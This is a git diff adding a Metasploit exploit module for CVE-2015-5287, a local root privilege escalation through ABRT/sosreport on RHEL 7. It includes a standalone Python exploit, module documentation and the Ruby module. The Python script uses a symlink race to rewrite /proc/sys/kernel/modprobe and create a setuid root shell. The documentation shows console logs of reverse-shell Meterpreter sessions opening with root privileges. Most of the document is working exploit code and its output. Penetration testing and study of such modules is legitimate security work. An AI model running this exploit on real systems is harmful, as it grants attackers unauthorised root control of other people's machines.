diff --git a/data/exploits/cve-2015-5287/sosreport-rhel7.py b/data/exploits/cve-2015-5287/sosreport-rhel7.py new file mode 100644 index 000000000000..0d8c2081d1a8 --- /dev/null +++ b/data/exploits/cve-2015-5287/sosreport-rhel7.py @@ -0,0 +1,114 @@ +#!/usr/bin/python +# CVE-2015-5287 (?) +# abrt/sosreport RHEL 7.0/7.1 local root +# rebel 09/2015 + +# [user@localhost ~]$ python sosreport-rhel7.py +# crashing pid 19143 +# waiting for dump directory +# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143 +# waiting for sosreport directory +# sosreport: sosreport-localhost.localdomain-20151130194114 +# waiting for tmpfiles +# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ'] +# moving directory +# moving tmpfiles +# tmpurfpyY -> tmpurfpyY.old +# tmpYnCfnQ -> tmpYnCfnQ.old +# waiting for sosreport to finish (can take several minutes)........................................done +# success +# bash-4.2# id +# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 +# bash-4.2# cat /etc/redhat-release +# Red Hat Enterprise Linux Server release 7.1 (Maipo) + +import os,sys,glob,time,sys,socket + +payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" + +pid = os.fork() + +if pid == 0: + os.execl("/usr/bin/sleep","sleep","100") + +time.sleep(0.5) + +print "crashing pid %d" % pid + +os.kill(pid,11) + +print "waiting for dump directory" + +def waitpath(p): + while 1: + r = glob.glob(p) + if len(r) > 0: + return r + time.sleep(0.05) + +dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0] + +print "dump directory: ", dumpdir + +os.chdir(dumpdir) + +print "waiting for sosreport directory" + +sosreport = waitpath("sosreport-*")[0] + +print "sosreport: ", sosreport + +print "waiting for tmpfiles" +tmpfiles = waitpath("tmp*") + +print "tmpfiles: ", tmpfiles + +print "moving directory" + +os.rename(sosreport, sosreport + ".old") +os.mkdir(sosreport) +os.chmod(sosreport,0777) + +os.mkdir(sosreport + "/sos_logs") +os.chmod(sosreport + "/sos_logs",0777) + +os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log") +os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log") + +print "moving tmpfiles" + +for x in tmpfiles: + print "%s -> %s" % (x,x + ".old") + os.rename(x, x + ".old") + open(x, "w+").write("/tmp/hax.sh\n") + os.chmod(x,0666) + + +os.chdir("/") + +sys.stderr.write("waiting for sosreport to finish (can take several minutes)..") + + +def trigger(): + open("/tmp/hax.sh","w+").write(payload) + os.chmod("/tmp/hax.sh",0755) + try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) + except: pass + time.sleep(0.5) + try: + os.stat("/tmp/sh") + except: + print "could not create suid" + sys.exit(-1) + print "success" + os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''') + sys.exit(-1) + +for x in xrange(0,60*10): + if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read(): + print "done" + trigger() + time.sleep(1) + sys.stderr.write(".") + +print "timed out" \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md b/documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md new file mode 100644 index 000000000000..6889323188bb --- /dev/null +++ b/documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md @@ -0,0 +1,118 @@ +## Description + + This module attempts to gain root privileges on RHEL systems with + a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured + as the crash handler. + + `sosreport` uses an insecure temporary directory, allowing local users + to write to arbitrary files (CVE-2015-5287). This module uses a symlink + attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path + in `/proc/sys/kernel/modprobe`, resulting in root privileges. + + Waiting for `sosreport` could take a few minutes. + + +## Vulnerable Application + + This module has been tested successfully on: + + * abrt 2.1.11-12.el7 on RHEL 7.0 x86_64 + * abrt 2.1.11-19.el7 on RHEL 7.1 x86_64 + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/abrt_sosreport_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **TIMEOUT** + + Timeout for `sosreport` (seconds) (default: `600`) + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + +### Red Hat Enterprise Linux 7.0 (x64) + + ``` + msf5 > use exploit/linux/local/abrt_sosreport_priv_esc + msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] System is configured to use ABRT for crash reporting + [+] abrt-ccpp service is running + [+] ABRT package version 2.1.11-12.el7 is vulnerable + [+] python is installed + [*] Writing '/tmp/.DcxBT2w' (2756 bytes) ... + [*] Writing '/tmp/.HUAWYz' (207 bytes) ... + [*] Launching exploit - This might take a few minutes (Timeout: 600s) ... + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (985320 bytes) to 172.16.191.151 + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.151:50843) at 2019-04-20 07:21:24 -0400 + [+] Deleted /tmp/.DcxBT2w + [+] Deleted /tmp/.HUAWYz + [+] Deleted /tmp/hax.sh + [*] waiting for sosreport to finish (can take several minutes).................... + + meterpreter > getuid + Server username: uid=0, gid=1000, euid=0, egid=1000 + meterpreter > sysinfo + Computer : localhost.localdomain + OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-123.el7.x86_64) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + + +### Red Hat Enterprise Linux 7.1 (x64) + + ``` + msf5 > use exploit/linux/local/abrt_sosreport_priv_esc + msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] System is configured to use ABRT for crash reporting + [+] abrt-ccpp service is running + [+] ABRT package version 2.1.11-19.el7 is vulnerable + [+] python is installed + [*] Writing '/tmp/.gFrwiGr' (2756 bytes) ... + [*] Writing '/tmp/.NA4fwK' (207 bytes) ... + [*] Launching exploit - This might take a few minutes (Timeout: 600s) ... + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (985320 bytes) to 172.16.191.218 + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.218:51022) at 2019-04-20 07:23:24 -0400 + [*] waiting for sosreport to finish (can take several minutes).............. + + meterpreter > getuid + Server username: uid=0, gid=1000, euid=0, egid=1000 + meterpreter > sysinfo + Computer : localhost.localdomain + OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + diff --git a/modules/exploits/linux/local/abrt_sosreport_priv_esc.rb b/modules/exploits/linux/local/abrt_sosreport_priv_esc.rb new file mode 100644 index 000000000000..2ac1925c7572 --- /dev/null +++ b/modules/exploits/linux/local/abrt_sosreport_priv_esc.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ABRT sosreport Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges on RHEL systems with + a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured + as the crash handler. + + `sosreport` uses an insecure temporary directory, allowing local users + to write to arbitrary files (CVE-2015-5287). This module uses a symlink + attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path + in `/proc/sys/kernel/modprobe`, resulting in root privileges. + + Waiting for `sosreport` could take a few minutes. + + This module has been tested successfully on: + + abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and + abrt 2.1.11-19.el7 on RHEL 7.1 x86_64. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rebel', # Discovery and sosreport-rhel7.py exploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => '2015-11-23', + 'Platform' => ['linux'], + 'Arch' => + [ + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [[ 'Auto', {} ]], + 'References' => + [ + ['BID', '78137'], + ['CVE', '2015-5287'], + ['EDB', '38832'], + ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'], + ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'], + ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837'] + ] + )) + register_options [ + OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def base_dir + datastore['WritableDir'] + end + + def timeout + datastore['TIMEOUT'] + end + + def check + kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' + unless kernel_core_pattern.include? 'abrt-hook-ccpp' + vprint_error 'System is not configured to use ABRT for crash reporting' + return CheckCode::Safe + end + vprint_good 'System is configured to use ABRT for crash reporting' + + if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' + vprint_error 'abrt-ccp service not running' + return CheckCode::Safe + end + vprint_good 'abrt-ccpp service is running' + + # Patched in 2.1.11-35.el7 + pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s + abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1] + if abrt_version.blank? + vprint_status 'Could not retrieve ABRT package version' + return CheckCode::Safe + end + unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7') + vprint_status "ABRT package version #{abrt_version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "ABRT package version #{abrt_version} is vulnerable" + + unless command_exists? 'python' + vprint_error 'python is not installed' + return CheckCode::Safe + end + vprint_good 'python is installed' + + CheckCode::Appears + end + + def upload_and_chmodx(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + chmod path + register_file_for_cleanup path + end + + def exploit + unless check == CheckCode::Appears + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py') + exe_name = ".#{rand_text_alphanumeric 5..10}" + exe_path = "#{base_dir}/#{exe_name}" + upload_and_chmodx exe_path, exe_data + + payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" + upload_and_chmodx payload_path, generate_payload_exe + + register_file_for_cleanup '/tmp/hax.sh' + + print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..." + output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end